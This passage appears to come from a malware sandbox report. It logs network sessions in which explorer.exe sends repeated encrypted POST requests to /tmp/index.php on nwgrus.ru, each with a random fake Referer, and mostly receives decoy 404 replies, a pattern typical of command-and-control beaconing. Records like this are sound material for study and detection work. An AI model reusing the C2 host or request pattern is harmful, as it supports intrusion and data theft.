Oct 8, 2024 18:23:48.814500093 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:48 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 8, 2024 18:23:48.818655014 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:48 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	61375	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:48.825911045 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://umfnnmmrmjakpw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 314 Host: nwgrus.ru
Oct 8, 2024 18:23:48.825943947 CEST	314	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 4d 00 a6 86 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vuM4kXxasWTCVz e8M](xeA5BI!,/ZrMez!u1"#Vz$^+q%S/
Oct 8, 2024 18:23:49.698420048 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:49 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	61382	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:49.709860086 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hjaonoqsbnhieap.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 286 Host: nwgrus.ru
Oct 8, 2024 18:23:49.709860086 CEST	286	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 5a 3c a8 e7 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vuZ<^B\bbQKBq2pBH]JN>pcXO[yk'>KzVTP$!^)b1yF"~c{A8.
Oct 8, 2024 18:23:50.575336933 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:50 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	61388	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:50.584526062 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kfntyderqkkh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 258 Host: nwgrus.ru
Oct 8, 2024 18:23:50.584561110 CEST	258	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 2f 34 b5 f8 Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA -[k,vu/4pOGokLS"D55{l#ZC<W8XV~?\:2$L>}%h)+x22>*'8r}wYBYNNmrk&K
Oct 8, 2024 18:23:51.440485954 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:51 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	61397	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:51.448854923 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bpuffphxcjr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 219 Host: nwgrus.ru
Oct 8, 2024 18:23:51.448882103 CEST	219	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 38 2a f3 ec Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA -[k,vu8cSf[i]}K~``b.zd/O"y CQdN%+p#VG}.w4ox(RG03!`
Oct 8, 2024 18:23:52.527090073 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:52 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	61404	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:52.536545038 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://evwfmjkyovghciew.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 264 Host: nwgrus.ru
Oct 8, 2024 18:23:52.536571026 CEST	264	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 3d 5b ed ea Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu=[m FE\|^D+8=Hl(S+@3zNy\|@qoY:?F7IGC:=tH#u^;.h\1_Gd
Oct 8, 2024 18:23:53.404282093 CEST	189	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:53 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 59 39 08 a5 6c 5f b5 ac 17 bd cf b4 fe 6d 9f 3d d4 a1 72 0a 41 c2 8f 97 cb Data Ascii: #\6Y9l_m=rA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	61419	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:54.646945953 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dxitdoiirfghic.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 220 Host: nwgrus.ru
Oct 8, 2024 18:23:54.646970987 CEST	220	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2c 5b 1c 6b 2c 90 f4 76 0b 75 64 0d e7 90 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA ,[k,vudu0BSQuOCILO7W/^[=1QN<CEQZ0EG[\|-ypyv~_BDb
Oct 8, 2024 18:23:55.551220894 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:55 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	61424	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:55.566946983 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://goilbsuxbgu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 341 Host: nwgrus.ru
Oct 8, 2024 18:23:55.566965103 CEST	341	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 3f 2b aa fd Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA -[k,vu?+G'\|yl_KS10]z~ A"On1P7"kC\|sKEy5Y7`K~y_p}~M0b
Oct 8, 2024 18:23:56.454329967 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:56 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	61425	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:56.480500937 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bmhunjcauidhfjas.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 232 Host: nwgrus.ru
Oct 8, 2024 18:23:56.480523109 CEST	232	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 72 2e bf 9a Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA -[k,vur.xSHc XgW.+tE_fB^:D>#Es7}_^7Ua=&*Qt3m{)_N6
Oct 8, 2024 18:23:57.350981951 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:57 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	61426	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:57.424079895 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ehqwwnwmwdh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 208 Host: nwgrus.ru
Oct 8, 2024 18:23:57.424102068 CEST	208	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 38 3b d5 aa Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA -[k,vu8;,q@QxbjY1R5=Q9?v=t/C#9"BJD/[baM_-VC2*mvt179j
Oct 8, 2024 18:23:58.385658979 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:58 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 